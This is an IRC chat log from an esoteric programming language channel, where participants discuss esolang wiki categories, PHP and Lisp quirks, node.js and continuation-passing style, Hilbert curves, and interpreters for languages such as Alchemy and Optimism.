00:46:54 <josefnpat_> http://www.mediawiki.org/wiki/MediaWiki
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00:54:03 <elliott> josefnpat_: http://esolangs.org/wiki/Esolang:Categorization is a better guide to categories
00:54:07 <Sgeo> elliott, tswett monqy karupdate, if you didn
00:54:44 <Sgeo> Except for Shameful
00:55:05 <Sgeo> Just memorize the non-existence of Shameful
00:55:15 <josefnpat_> I have added "2012", and "Joke languages"
00:55:22 <elliott> You'll also have to memorise the non-existence of Auisduisdiujif.
00:55:48 <elliott> josefnpat_: it doesn't look like a joke language to me (n.b. the definition of joke language we use differs from the common English meaning of the term)
00:56:04 <elliott> "This is a list of esoteric languages that are not of any interest except for potential humor value. Generally speaking, they are completely unusable for programming even in theory, trivial and less interesting variations on existing esoteric languages, or too underspecified to determine any potential usability."
00:56:40 <elliott> [[Category:Languages]] [[Category:2012]] [[Category:Unknown computational class]], probably
00:56:50 <elliott> [[Category:Low-level]] also
00:57:08 <Sgeo> What's that language that has a severe difference in reference implementation vs spec?
00:57:26 <elliott> Sgeo: Malbolge? Not that severe, though.
00:57:41 <Sgeo> elliott, I think that's the one I was thinking of
00:57:59 <Sgeo> And with regards to it not being severe: Oh.
00:59:03 * elliott twiddles http://esolangs.org/wiki/Fuck a bit
00:59:40 <josefnpat_> I'm not going to lie, I had a lot of fun writing this, lol.
00:59:45 <RocketJSquirrel> * elliott twiddles http://esolangs.org/wiki/Fuck a bit // so dirty
00:59:57 <elliott> RocketJSquirrel: Come on, it's not even a brainfuck.
01:00:28 <josefnpat_> I'm working up a basic example use case (as opposed to simple programs)
01:01:39 * elliott is shocked nobody came up with an esolang called "fuck" before.
01:02:40 <elliott> I see the implementation is in PHP. It's always best when esolangs are implemented in other esolangs.
01:03:01 <josefnpat_> Should I re-write it in brainfuck or Ook?
01:03:17 <elliott> Why would you rewrite it in a less esoteric language?
01:03:28 <josefnpat_> But seriously, if there's enough intrest, i'd be willing to re-write it in C
01:04:04 <josefnpat_> I've got some issues opened about making is_numberic() more portable anyway.
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01:04:33 <josefnpat_> but I wrote it in php to get the kinks out.
01:05:20 <shadwick> I usually find a lot of php to have kinks in it
01:05:32 <shadwick> behaviour in the stdlib I mean
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01:05:47 <elliott> Friendship: You forgot /nick RocketJSquirrel.
01:05:52 <Sgeo> What about Common Lisp in terms of standard lib kinks?
01:05:54 <elliott> You're half-way up the ladder of nicks.
01:06:05 <shadwick> Sgeo: I don't know CL (...yet!)
01:06:07 <elliott> shadwick: If only PHP's kinks were limited to the stdlib!
01:06:14 -!- Friendship has changed nick to RocketJSquirrel.
01:06:29 <Sgeo> shadwick, you will soon learn that I am a language tourist. I obsess over one language at a time.
01:06:42 <Sgeo> While never actually using the language for anything
01:06:52 <Sgeo> Maybe THIS is the language that will change all that (yeah right)
01:08:04 <Sgeo> I take it PHP is a very kinky language?
01:08:41 <josefnpat_> and by wrong hands i mean the owner of said hands are idiots.
01:08:53 <elliott> I must be an idiot then :(
01:08:54 <Sgeo> Common Lisp can be like that too really
01:09:58 <Sgeo> (format t ":/")
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01:10:37 <elliott> monqy: Say hi to josefnpat_.
01:10:43 <monqy> `welcome josefnpat_
01:10:45 <HackEgo> josefnpat_: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
01:10:46 <monqy> `welcome shadwick_
01:10:48 <shadwick_> ugh. anyways, by being rocketed to popularity on the net, PHP got tons of crap
01:10:49 <HackEgo> shadwick_: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
01:11:19 <shadwick_> it took off and now it's half procedural with poor OOP slapped on some bits
01:11:36 <shadwick_> and things like `real_' preceding some functions..
01:12:37 <Sgeo> CL's CLOS can act a bit slapped on at times. Particularly, a lot of built-in functions are not generic
01:12:41 <Sgeo> When they could be
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01:13:01 <Sgeo> Although, it wouldn't be that hard to make a thin layering over the top where functions like car and cdr are generic..
01:13:03 <shadwick_> Sgeo: what about this fabled MOP I've heard of?
01:13:17 -!- shadwick_ has changed nick to shadwick.
01:14:10 <Sgeo> I don't know much about the MOP
01:14:12 <Sgeo> Still learning
01:14:34 <Sgeo> It's still a better object system, I think, than a lot of others, even if it is perhaps complex
01:14:56 <Sgeo> But it's not as thoroughly done as in, say, Smalltalk.
01:15:04 <shadwick> I haven't dabbled with CL really at all, but I always hear talk of all the macros and meta programming
01:15:31 <Sgeo> I think CL macros are easier to understand than Scheme macros, but then again I don't know much about Scheme macros
01:15:55 <shadwick> I saw a scheme macro that allowed a function to memoize results, and be defined with argument pattern matching
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01:16:56 <Sgeo> Yeah, CL's macros can do that too. With CL macros, you literally get a chunk of the source and transform it into something else
01:17:12 <Sgeo> So, within the macro, the syntax that your macro takes can be pretty much anything you like
01:17:40 <elliott> (Except for being completely limited, lexically.)
01:17:42 <shadwick> I've heard scheme's macros are stunted compared to CL though
01:18:26 <elliott> In the same way that Java is stunted compared to C because you can't cause segfaults
01:18:34 <elliott> (OK, Java is stunted compared to C, but not for that reason.)
01:19:58 <elliott> OK, you do lose some power, but it's also a lot more convenient to define macros once you get used to it, and eliminates a very common source of errors.
01:20:07 <elliott> (And there's not all that many uses of the lost power in practice.)
01:20:31 <Sgeo> elliott, hmm, macros can take environment objects, but those are implementation-dependent. Would it be feasible to make a cross-platform library that understands each implementation (similarly to networking libraries or cffi, for example), and allows you to do sane things with the environment?
01:22:03 <elliott> I don't know what language you are talking about.
01:34:47 <Sgeo> elliott, what are some uses (besides hygiene) of inspecting the lexical environment?
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01:36:12 <elliott> I don't really know what you mean.
01:38:04 <Sgeo> Is the only deal with hygiene how it prevents hygiene errors?
01:38:10 <Sgeo> Or are there benefits beyond that?
01:49:52 <elliott> Is the only deal of a type system how it prevents type errors?
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02:01:54 <RocketJSquirrel> By removing all type-related errors from JS' spec and giving them defined but senseless behaviors (note: this involves almost nothing since most type errors already have senseless behavior), I can get a perfect progress guarantee with no static types.
02:09:25 <elliott> RocketJSquirrel: I laugh, yet dearly hope no industry programmers are listening to adopt your ideas.
02:09:44 <elliott> THIS IS WHAT LEAD TO NODE.JS, YOU FOOL
02:09:55 <monqy> i don't know anything about node.js
02:10:08 <monqy> aside from js server thingy
02:10:24 <shachaf> elliott: Why aren't you in any of the cool channels?
02:10:34 <elliott> monqy: You know how GHC has that awesome event manager, so you write blocking, threaded, sequential IO code and it uses epoll/kqueue asynchronous magic under the hood?
02:11:07 <elliott> node.js is like that, except it just forces you to write your program in continuation-passing style instead. And it's cooperative, so you can't block to do a computation. Ever.
02:11:22 <shachaf> elliott: It's not exactly continuation-passing style.
02:11:32 <elliott> This has convinced an entire generation of programmers that, as long as you tediously write every single statement as a callback, your server will be web scale.
02:11:39 <elliott> shachaf: Uh... it's exactly CPS.
02:11:46 <monqy> an entire generation
02:11:46 <elliott> Yes, an ENTIRE GENERATION.
02:11:51 <elliott> Programmers live about 3 years.
02:11:53 <monqy> AN entire generation
02:11:54 <shachaf> elliott: foo(function(...) { ... }); bar(function(...) { ... }); ...
02:12:25 <elliott> shachaf: That's just how you do concurrency with asynchronous CPS.
02:12:30 <monqy> shachaf: maybe when I was alive
02:12:31 <shachaf> elliott: Which one of those is the continuation?
02:12:43 <elliott> Compare forkIO (foo >>= ...); forkIO (bar >>= ...)
02:12:48 <shachaf> elliott: What about when you have button.onclick = function(...) { ... }; is that a continuation?
02:13:09 <shachaf> elliott: Those are hardly the same. forkIO happens at a completely different level from this CPS mess.
02:13:15 <elliott> The point is that the continuation-passing view isn't very useful there.
02:13:24 <shachaf> Anyway, for a definition of "CPS" that includes that, I agree.
02:13:30 <elliott> But with node.js, the vast majority of programs lean heavily right.
02:13:30 <Sgeo> elliott, wouldn't that make sense if the language had support for writing CPS as though it were more straighforward, or otherwise had first-class continuations (Scheme)?
02:13:56 <Sgeo> Or if the language were at least capable of supporting a way of rearranging source code (ala cl-cont)
02:13:59 <elliott> Sgeo: That would mean you're not programming in continuation-passing style.
02:14:08 <Sgeo> elliott, but you still get the benefits of continuations
02:14:13 <Sgeo> Without any tedium
02:14:17 <shachaf> do-notation is exactly "support for writing CPS as though it were more straightforward"
02:14:35 <shachaf> That's what do-notation does. The thing that you give >>= is a "continuation".
02:15:11 <Sgeo> So, Haskell, Scheme, Common Lisp. Any of those languages would be good for this sort of thing, right? Unlike, uh. Javascript?
02:15:14 <Sgeo> Oh, Smalltalk too
02:15:24 <elliott> Sgeo: Is "but if you have a better language, you can do something different and it works better" meant to be a counterargument to anything I have said?
02:15:33 <shachaf> That's why the whole Cont "mother of all monads" thing works.
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02:17:18 <shachaf> elliott: Anyway, there have been many source-transformers written for JavaScript to give it this sort of feature.
02:17:29 <elliott> node.js programmers don't use them.
02:18:23 <shachaf> Anyway, I guess it's make-fun-of-node.js-o'clock.
02:18:57 <shachaf> elliott: The part that you haven't considered is that the only alternative to using node.js is using Ruby on Rails.
02:19:04 <shachaf> Because, like, what else would you use, man?
02:19:09 <elliott> Honestly, I would pick Rails.
02:19:34 <elliott> This is despite the fact that one of them is a TCP framework with an HTTP library and the other one is a web framework.
02:19:53 <shachaf> node.js doesn't support UDP?
02:21:11 <shachaf> The opposite of JavaScript, as we know, is Haskell.
02:21:21 <shachaf> So what would be the opposite of node.js? That's right, yesde.hs.
02:21:32 <shachaf> A leading web framework for Haskell is called "Yesod".
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02:31:02 <elliott> shachaf: Wouldn't the opposite of "de" be the country code of the opposite of Germany?
02:31:33 <shachaf> elliott: What's the opposite of Germany?
02:31:55 <shachaf> I have no idea how that happened.
02:32:00 <shachaf> I'm pretty sure I typed "TLD"
02:35:34 -!- RocketJSquirrel has set topic: Roll out the squirrel! We'll have a squirrel of TLAAAAAAD! | http://codu.org/logs/_esoteric/ | http://esolangs.org/ has moved servers!.
02:37:03 <shachaf> RocketJSquirrel = Friendship?
02:37:10 <shachaf> I can't keep up with all your names, man.
02:37:33 <RocketJSquirrel> shachaf: Y'know, I don't usually change nicks, I was Gregor for /years/ before I switched to Friendship X-D
02:37:55 <Sgeo> RocketJSquirrel, or rather, you were variations on Gregor
02:38:00 <Sgeo> And elsewhere, you were a Lawlabee
02:38:38 <elliott> <RocketJSquirrel> shachaf: Y'know, I don't usually change nicks, I was Gregor for /years/ before I switched to Friendship X-D
02:38:42 <elliott> You were GregorR for years.
02:38:53 <elliott> GregorR-L was the best Gregor.
02:57:19 <pikhq_> "Don't usually change nicks", you say? Lame.
02:57:31 <pikhq_> Why, I dare say you've yet to use a nick for a decade!
02:59:25 <RocketJSquirrel> IRL I have ... I've been called Gregor for well over a decade ;)
03:00:07 <pikhq_> Yeah, but that doesn't matter.
03:05:19 <Sgeo> I've used this nick for a decade
03:05:28 <Sgeo> Not all in the same place, admittedly
03:05:40 <shachaf> I've had this nick for life.
03:06:02 <Sgeo> Well, do sgeo and Sgeo count as the same nick?
03:06:09 <Sgeo> (Either way, it's a decade)
03:06:50 <shachaf> No, those are very different.
03:06:54 <shachaf> One is a valid UNIX username.
03:06:59 <shachaf> The other is an abomination.
03:07:08 <shachaf> (I used to go by Shachaf, I guess. But that's practically the same.)
03:07:30 <pikhq_> My nick is about to have its 15th anniversary.
03:08:44 <RocketJSquirrel> 'cuz my username has been "gregor" for well over a decade too X-D
03:08:50 -!- Sgeo has changed nick to Sgeabomination.
03:09:33 * pikhq_ has also been using this for the majority of his life
03:12:09 <elliott> I've been called "Elliott" my entire life!!!
03:13:05 <elliott> You haven't been called RocketJSquirrel your entire life.
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03:52:15 <shachaf> You're practically anti-scary.
03:54:21 <graue> random question: has anyone ever heard of a female-identified person inventing an esolang or writing a program in one?
03:54:29 <graue> because i feel like this community is all dudes
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03:57:02 <graue> i wonder if there's even like a token counterexample
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04:01:07 <Jafet> graue: Lenore Blum co-created the BSS machine
04:01:29 <Jafet> It's not really esoteric in that it is hypothetical
04:01:34 <graue> is that on esowiki?
04:02:41 <graue> i'm reading about it on that other wiki now
04:03:14 <Jafet> If you haven't figured it out by now, my answer is no
04:03:46 <Jafet> Females tend to have different concepts of weirdness than males
04:03:58 <graue> well, i think what it is really, even more than that
04:04:10 <graue> is that the whole field of computing has a gender imbalance problem
04:04:22 <Jafet> So if one of them created a language, it would have the potential to be really, really esoteric
04:04:25 <MSleep> Dr. Robotnik made the Mean Bean Machine.
04:04:25 <MSleep> It's not really esoteric in that it is a Puyo Puyo game.
04:04:47 <graue> you sayin' dr. robotnik uses the ladies room these days, or what?
04:05:09 <graue> Jafet: ah i misunderstood where you were going with that
04:05:12 <MSleep> I don't know, i jsut compied what WIkipedia said it was.
04:05:13 <Jafet> Languages in academia tend to not be classified as esoteric for some reason
04:05:29 <graue> well, we have an article on P''
04:05:43 <graue> and stuff on tag machines and minsky machines and of course, UTMs
04:05:44 <Jafet> Yes, but does it call P'' an esolang?
04:05:47 <graue> it could be relevant
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04:06:15 <graue> i'd certainly consider fractran an esolang
04:06:18 <MSleep> Also I just read about the BSS machine without looking at the lines above that.
04:06:24 <Jafet> Esolangs are languages created for recreational purposes, I suppose
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04:07:34 <Jafet> Perhaps the ladies tend to not consider this activity recreational
04:08:18 <shadwick> started an interpreter for http://esolangs.org/wiki/Alchemy today because it doesn't have one
04:08:19 <graue> yeah, it's a brainteaser really
04:08:26 <graue> like doing crossword puzzles but for computer scientists
04:08:31 <shadwick> this isn't a particularly tricky language, but fun anyways
04:09:23 <shadwick> got it functioning in a few hours haha, but I need to contact the creator to work out a few uncertanties
04:09:39 <graue> ahaha, i love how it calls exceptions "explosions"
04:10:00 <graue> and deletes all files in the same folder, whaaat
04:10:21 <shadwick> though it kinda makes sense for doing 'chemistry'
04:10:50 <shadwick> so my C already parses input and performs all the right actions
04:11:01 <graue> i just showed my sortle quine to a girl i had over (what got me thinking about the gender imbalance in the esolang community)
04:11:03 <shadwick> well, I just need to fill in the few lines of code for the Reaction Processes
04:11:09 <graue> she's a chemist, i wonder if she would dig this language
04:11:23 <shadwick> I have Project, Fuse, and Cerate working
04:11:35 <shadwick> the framework is pretty much all complete
04:11:40 <MSleep> Put it in, but jsut always remember to store untested programs in subfodler fume_hood.
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04:12:46 <graue> what a funny language
04:12:52 <shadwick> I just need to ask evincar about some of the other reactions, and the pre-defined elements
04:13:33 <shadwick> cause (to be decided) from 4 years ago ain't gonna show up in the Wiki unless I ask
04:13:49 <graue> you could just make it up and edit the wiki
04:14:39 <shadwick> true, but I wanna see if he has an opinion first
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04:25:06 <graue> shadwick: i keep getting you mixed up with shachaf
04:25:25 <graue> tell me some random interesting fact about yourself so i'll remember the difference
04:25:55 <shadwick> hm, I bet shachaf has a comp sci degreee
04:26:02 <shachaf> shadwick is secretly a candle.
04:26:10 <shachaf> Also, I have no comp sci degree.
04:26:29 <shadwick> ah, ok. so that's not a difference haha
04:26:38 <graue> i don't have a CS degree either
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04:27:07 <shachaf> That depends on what you mean by "Canadian".
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04:27:31 <shadwick> ok, let's be more specific; a resident of Canada
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04:27:52 <shachaf> I used to live pretty nearby.
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04:28:22 <shachaf> I used to live there, yes.
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04:28:39 <shachaf> elliott: graue isn't scary!
04:28:44 <shachaf> graue is a like a teddy bear.
04:32:34 <shadwick> he's just trying to lure you in
04:33:25 <Jafet> You are unlikely to be eaten by a graue.
04:33:43 <graue> unless you're an onion
04:34:03 <graue> that would explain it, yes
04:34:57 <elliott> Speaking of being an onion, is "graue", in fact, derived from "grue"?
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04:36:39 <graue> it was a random word that popped into my head, probably 10+ years ago now
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04:36:51 <graue> i since found out that it is a form of the german adjective for "grey"
04:37:06 <graue> but that was not the intent either
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04:50:08 <elliott> 03:54:21: <graue> random question: has anyone ever heard of a female-identified person inventing an esolang or writing a program in one?
04:50:08 <elliott> there have been a few in here over the years, so technically yes; I suspect the obscurity of the community amplifies the unfortunate demographics of computing in general
04:51:20 <Sgeo> What has fax done?
04:52:06 <graue> whether there "have been a few" is what i was wondering; i realized i could not think of any
04:52:57 <elliott> yeah Razor-X/Sukoshi, Madoka-Kaname and fax are the ones I can think of
04:59:50 <zzo38> Are all emerald grue, or are all emeralds actually bleen instead?
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05:00:17 <graue> except for the yelple ones
05:01:10 <elliott> Magenquoise is my favourite colour.
05:01:35 <zzo38> Is that a proper colour?
05:01:49 <shachaf> elliott: Is it a proper colour?
05:04:03 <graue> elliott, do you have a CS degree?
05:04:29 <graue> well that's just shameful
05:04:30 <elliott> zzo38: do you have a CS degree?
05:04:34 <shachaf> It's a combination of C° and the well-known S°
05:04:38 <graue> elliott doesn't have a CS degree [[Category:Shameful]]
05:04:49 <zzo38> elliott: No, I don't have. Sorry
05:04:52 <shachaf> graue: Do you have a CS degree?
05:04:59 <graue> no, but i'll soon have a mathematics degree
05:05:03 <graue> close enough right?
05:05:19 <zzo38> graue: Close enough for what purpose?
05:05:33 <elliott> as if the lowly practicality of mathematics can stand up to the True Art of pure computer science
05:05:47 <graue> oh, whatever, more like vice versa
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05:06:25 <elliott> i think Deewiant might actually have a CS degree! our saviour at last
05:06:40 <zzo38> Some people said it isn't science and doesn't have to do with computers; that is like saying astronomy is about telescopes.
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05:07:38 <elliott> "some people" is dijkstra's most famous alias
05:08:04 <graue> i like how dijkstra has three of the most common loop variables in his name in order
05:08:37 <graue> whenever i see his name i think of nested for-loops
05:08:48 * Sgeo puts graue in a denest
05:08:50 <elliott> i wish i wrote depth-four loops so I could use "s" as the next variable
05:08:58 <elliott> but I don't, four is too much for me
05:09:13 <Sgeo> graue, some CL macro I came across recently
05:10:22 <Sgeo> http://lisp-editor.berlios.de/autodoc/Package_DENEST.html
05:11:26 <graue> too lispy for me to understand at the moment
05:13:05 <zzo38> Some people have describe my "Ibtlfmm" idea as something like combine Haskell with Lisp; it is something like that. But really my idea something like a few stuff from Haskell, Lisp, LLVM, and a few others.
05:14:25 <Sgeo> (denest (dolist (i '(1 2 3))) (dolist (j '(4 5 6))) (format t "~a ~a" i j)) becomes
05:14:36 <elliott> zzo38: didn't you say that yesterday and the day before :p
05:14:54 <zzo38> elliott: What timezone?
05:15:02 <elliott> i'm not sure which one i'm in
05:15:08 <Sgeo> (dolist (i '(1 2 3)) (dolist (j '(4 5 6)) (format t "~a ~a" i j)))
05:15:27 <Sgeo> So with denest, you don't have to have the rest of the body physically contained within the macro dolist
05:15:57 <zzo38> elliott: Use Astrolog or similar software to figure out what timezone you are currently in.
05:16:20 * Sgeo assumes there are easier ways to determine timezones
05:16:44 <zzo38> Sgeo: Yes, if you have GPS, you can just look it up in a map after you know your location from GPS.
05:16:57 <graue> you could ask a man on the street, but at this hour he might be drunk
05:17:08 * Sgeo was thinking that it's plausible to know location without knowing timezone
05:17:10 <graue> but then... what's "this hour"? we come back to the question of timezones
05:17:16 <elliott> and i know what timezone the ground is in
05:17:20 <elliott> but i'm not sure what timezone i'm in
05:17:32 <graue> you are in the one that the ground is in
05:17:50 <zzo38> Is your position somehow not synchronized with the ground?
05:18:05 <elliott> graue: that's not true at all!
05:18:12 <elliott> what's jetlag, if not a mismatch between ground timezone and head timezone?
05:18:14 <Sgeo> Is elliott picking at the idea of a human being in a timezone?
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05:18:41 <Sgeo> Suddenly it becomes clear.
05:18:45 <elliott> depends what you mean by picking
05:18:47 <Sgeo> I don't think Astrolog will help
05:18:50 <zzo38> Well, you can use UTC times, or local timezone, or solar time, or sidereal time, or something else.
05:19:36 <zzo38> Sgeo: I think it will help; but GPS will work better, if you have map of timezones.
05:19:41 <pikhq_> Or he could use the time zone which best maps to his sleep schedule.
05:19:52 <Sgeo> zzo38, astrolog would have to be somewhat psychic.
05:20:15 <pikhq_> Said time zone has a very confusing mapping with UTC.
05:20:34 <zzo38> pikhq_: Yes that is another way
05:20:53 <zzo38> Sgeo: You would have to look out the window and figure out what matches it best
05:21:13 <elliott> elliott is the best mathematical constant.
05:21:20 <elliott> it's the only constant that isn't constant, for one
05:21:21 <Sgeo> I'm pretty sure things like the sun don't actually correspond to elliott-time.
05:21:31 <Sgeo> elliott, fine structure constant?
05:21:42 <Sgeo> Of unknown constanticity.
05:21:57 <zzo38> O, I understand. And I know how to do it: Use an alarm clock.
05:22:43 <Sgeo> You're going to attempt to obliterate the phenomenon that is elliott-time?
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05:24:08 <pikhq_> elliott: "elliott" is here being used as a shorthand for the result of applying elliott :: Timestamp -> Offset to the current time.
05:24:21 <zzo38> (The person who wrote Astrolog once said he had a dream of a new feature which teleports you to a location which it charts. But it doesn't do that of course.)
05:24:32 <pikhq_> I'm not entirely sure the function is total.
05:25:25 <elliott> pikhq_: elliott :: Behaviour Offset, man.
05:25:54 <Sgeo> reactive-banana is British?
05:26:33 <pikhq_> Actually, I think it's elliott :: IO Offset
05:27:04 <Sgeo> Are you trying to say that elliott-human is not a value?
05:27:21 <Sgeo> Because if it was, you shouldn't need the IO
05:27:38 <Sgeo> theelliotthuman
05:27:44 <elliott> OK fine, *Behaviour p Offset, now it's Sodium.
05:28:01 <pikhq_> Well, of course elliott-human is not a value, there is no instance of Num for IO Offset.
05:28:26 * Sgeo is a bit Lisp-addled
05:28:32 <Sgeo> err, lispAddled
05:31:11 <graue> i may not have majored in CS, but at least i'm a major asshole!
05:31:38 -!- elliott has set topic: i may not have majored in CS, but at least i'm a major asshole! | http://codu.org/logs/_esoteric/.
05:40:58 <coppro> Sgeo: see my most recent post to a-b
05:42:22 <Sgeo> Just humorous, or scam attempt, possibly based on "a", implying weird things if ... hmm
05:43:23 <Sgeo> I should shutup
05:43:29 <Sgeo> How's BlogNomic doing these days?
05:46:40 <elliott> coppro: why's that make you an asshat
05:47:00 <coppro> elliott: because it's worse than a suffusion of yellow
05:47:29 <elliott> the courts basically get to decide what the exception is
05:47:37 <elliott> they can always just decide it's something that will never ever happen
05:47:42 <elliott> like "after five thousand billion years this rule doesn't apply"
05:54:25 <Sgeo> Could the judge use it to seize power?
05:59:19 <Sgeo> Unless there are exceptions in the appeals rules?
06:03:58 -!- Sgeo has changed nick to Lindrum.
06:04:08 <Lindrum> (Note: I am not actually Lindrum)
06:05:27 <Lindrum> Wasn't Lindrum heard from relatively recently?
06:08:47 <Lindrum> http://www.nomic.net/deadgames/nomicworld/norrish/dictator-lindrum wow almost 20 years ago
06:10:01 <elliott> NomicWorld was 20 years ago.
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06:25:12 <Sgeo> Might picolisp be more suited as a nomic than CL, considering that Picolisp functions (except for primitives) are transparent?
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06:35:35 <myndzi> the hilbert curve has the interesting property that if you take it as a sequence, values close to each other in sequence will also be close in the 2d space mapping
06:35:43 <myndzi> any idea if there is a pattern for which the reverse is true?
06:36:53 <elliott> isn't it true for ... the hilbert curve?
06:40:12 <myndzi> i'm thinking no too, but then who knows, it's math
06:40:27 <myndzi> though now that i think about it i realize the points don't have to be connected and i can probably arrange a pattern that meets the criteria i want
06:40:40 <myndzi> elliott: look at, say, the four points in the center of the hilbert curve
06:40:49 <myndzi> they are not sequentially near each other, in fact they are very far
06:40:55 <myndzi> so a -> b but not b -> a
06:41:04 <myndzi> i was hoping for a case of b -> a but i'm thinking probably not
06:42:43 <myndzi> on the other hand, since things needn't be connected, i'm looking for something a bit looser: a sequence of points for which all the points in any 4x4 (?) area fall within ~40 of each other, or thereabouts, and that may just be possible
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07:14:12 * Sgeo must make a Common Lisp alternative to BYOND
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07:30:35 <Sgeo> How hard could it be?
07:55:31 <elliott> @tell oerjan remind me to ask you the question i was going to ask
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08:01:58 <Sgeo> I should slepep
08:02:20 <Sgeo> Oh, monqy tswett update
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09:00:25 <shadwick> I was reading the random page for Optimism, which is an OISC, with the instruction being "ADDOV". Anyone know what that operation do? The page doesn't explicitly say so. It takes 3 operands and I know it'll end up adding the 1st and 2nd, and possibly jumping to the 3rd (an address)
09:00:34 <shadwick> anyone just know what the condition for the jump is>?
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10:28:37 <oerjan> 09:00:25: <shadwick> I was reading the random page for Optimism, which is an OISC, with the instruction being "ADDOV". Anyone know what that operation do? The page doesn't explicitly say so. It takes 3 operands and I know it'll end up adding the 1st and 2nd, and possibly jumping to the 3rd (an address)
10:28:42 <oerjan> 09:00:34: <shadwick> anyone just know what the condition for the jump is>?
10:29:09 <oerjan> by the name and the "Always goes to the next instruction, even on overflow" comment, i'd guess it jumps when the addition overflows.
10:34:30 <Sgeo> What happens with both source and jump FF?
10:34:35 <Sgeo> I need sleepepepeppppppppp
10:35:57 <fizzie> I'm thinking a literal FF will happen.
10:36:11 <shadwick> oerjan: thanks, dunno how I missed that
10:36:59 <oerjan> a literal fffffffuuuuuuuuuuuu, more like
10:41:30 <RocketJSquirrel> "The author claims that his calculator does just-in-time compilation. What would you do to prove or disprove his claim without attempting to unravel the source?"
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10:44:20 <oerjan> RocketJSquirrel: is that a comment on your ioccc program? :P
10:44:50 <RocketJSquirrel> I'm trying to decide if the reviewers actually read it or not ;)
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10:49:27 <shadwick> well I like how easy Optimism was to write an interpreter for hahaa
10:50:11 <shadwick> I guess I'll create a Wiki account and add it to that page
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13:07:02 <oerjan> `pastelogs code.*inherit
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13:07:47 <oerjan> `pastelogs code.*inherit
13:08:03 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.6146
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14:47:45 <tswett> myndzi: okay, you don't seem to be here any more, but let me try to answer your question anyway.
14:48:21 <tswett> The Hilbert curve has the property that values close to each other in the domain are also close to each other in the range. In other words, the Hilbert curve is continuous.
14:49:11 <tswett> You seem to be asking if there's a map like it, except its inverse is continuous.
14:50:20 <tswett> So, the Hilbert curve is a continuous surjective map [0,1] -> [0,1]^2, and I think essentially we're looking for some sort of continuous map [0,1]^2 -> [0,1].
14:51:36 <tswett> There are tons of continuous *surjective* maps [0,1]^2 -> [0,1]. Among them are f(x,y) = x, f(x,y) = y, f(x,y) = xy, and f(x,y) = (x + y)/2.
14:51:53 <tswett> As for continuous *injective* maps [0,1]^2 -> [0,1], I'm pretty sure none exist.
14:56:15 <tswett> It looks like the continuous injective map is what you want. But since there are none, you'll have to make do with some approximation.
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15:49:05 <RocketJSquirrel> "I’ve got a mirror of my sccs repository at github." haha wut
15:49:15 -!- RocketJSquirrel has set topic: I’ve got a mirror of my sccs repository at github. | http://codu.org/logs/_esoteric/.
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18:16:12 <itidus21> from another channel: http://i.imgur.com/bFB2A.gif
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18:57:09 <RocketJSquirrel> Watch championofbirds.com Wednesday for the GREATEST INTERVIEW EVER.
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19:36:23 <ais523> wow, http://www.gnu.org/licenses/license-list.html is really out of date
19:36:41 <ais523> it mentions GPLv3, but most of its comments about other licenses are written from the point of view of a world where GPLv3 doesn't exit
19:36:59 <ais523> e.g. calling 4-clause BSD GPL-incompatible (it is compatible with v3 but not v2)
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20:05:34 <oerjan> <tswett> As for continuous *injective* maps [0,1]^2 -> [0,1], I'm pretty sure none exist.
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20:05:55 <oerjan> by compactness of [0,1]^2, the inverse would automatically be continuous.
20:07:52 <oerjan> and then look at any circle inside it - it must map to an infinite subset of [0,1] which is connected if you remove a point (like the circle itself). but no such subset exists.
20:08:43 <fungot> \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
20:08:58 <oerjan> we have a myndzi deficit.
20:09:34 -!- elliott has joined.
20:09:38 <oerjan> (btw a similar theorem is true for any [0,1]^m to [0,1]^n with m > n, but that is much deeper.)
20:09:42 <elliott> RocketJSquirrel: It's not SCCS.
20:09:51 <elliott> RocketJSquirrel: It's SCCS as a generic term for any source control system.
20:09:52 <oerjan> (Invariance of Domain)
20:10:44 -!- nortti has joined.
20:10:51 <elliott> (No, I didn't have to logread to know where that was from.)
20:11:19 <RocketJSquirrel> elliott: But nobody uses "SCCS" as a generic term anymore ... they use RCS or VCS.
20:11:43 <elliott> RocketJSquirrel: Nobody uses libc4 any more, either. Unless I'm mistaken about the source, you shouldn't be surprised.
20:12:33 <elliott> (He actually uses some static libc4/a.out systems by choice... which requires him to *maintain libc4*.)
20:13:36 <elliott> 10:41:30: <RocketJSquirrel> "The author claims that his calculator does just-in-time compilation. What would you do to prove or disprove his claim without attempting to unravel the source?"
20:13:45 <olsner> who are you/we talking about?
20:13:45 <elliott> RocketJSquirrel: Congrats, you successfully befuddled the IOCCC organisers
20:14:08 <fizzie> Taneb: I HOEP I'M NOT TOO LATE:
20:14:09 <fizzie> | | | `\o/ | | | `\o/ | | |
20:14:09 <fizzie> /| |\ >\ | /| /| /< | /< /< /^\
20:14:39 * oerjan is suddenly reminded of a certain scene in the akira manga
20:14:54 <elliott> olsner: I'm talking about the author of http://www.pell.portland.or.us/~orc/Code/discount/
20:15:08 <RocketJSquirrel> <elliott> (He actually uses some static libc4/a.out systems by choice... which requires him to *maintain libc4*.) // holy crap indeed O_O
20:15:09 <elliott> Which contains the topic sentence
20:15:14 <elliott> oerjan: You forgot to remind me.
20:15:28 <elliott> RocketJSquirrel: http://www.pell.portland.or.us/~orc/Code/libc/
20:15:42 <RocketJSquirrel> elliott: However, that just makes me think that it's even more likely that he uses SCCS ;)
20:15:44 <oerjan> elliott: ah. well you weren't around when i read the message.
20:15:47 <elliott> RocketJSquirrel: He's the maximally curmudgeonly Linux user!
20:17:28 <fizzie> elliott: I like the "gl*bc" spelling. It's good to hide dirty words.
20:19:00 <olsner> hurr durr, my router is broken again... it's almost refusing to connect to anything
20:20:50 <oerjan> RocketJSquirrel: congratulations again :P
20:23:18 <Taneb> I know not enough C to enter the IOCCC
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20:23:27 <ais523> why the ping? why the ugh?
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20:31:45 <elliott> (I can give you the practical purpose I want this for if it's too abstract :P)
20:31:55 <oerjan> elliott: that's zzo38's barrier monad, isn't it.
20:31:58 <elliott> oerjan: oh, and F a = Cofree ((->) a)
20:32:02 <elliott> so it's definitely a comonad
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20:32:10 <elliott> hey, you say every monad is the barrier monad!
20:32:10 <itidus21> random thought occured to me.. could a non-human sentient being learn to use a turing complete language?
20:32:20 <elliott> i'm pretty sure his barrier thing had multiple constructors.
20:32:32 <Taneb> itidus21, probably
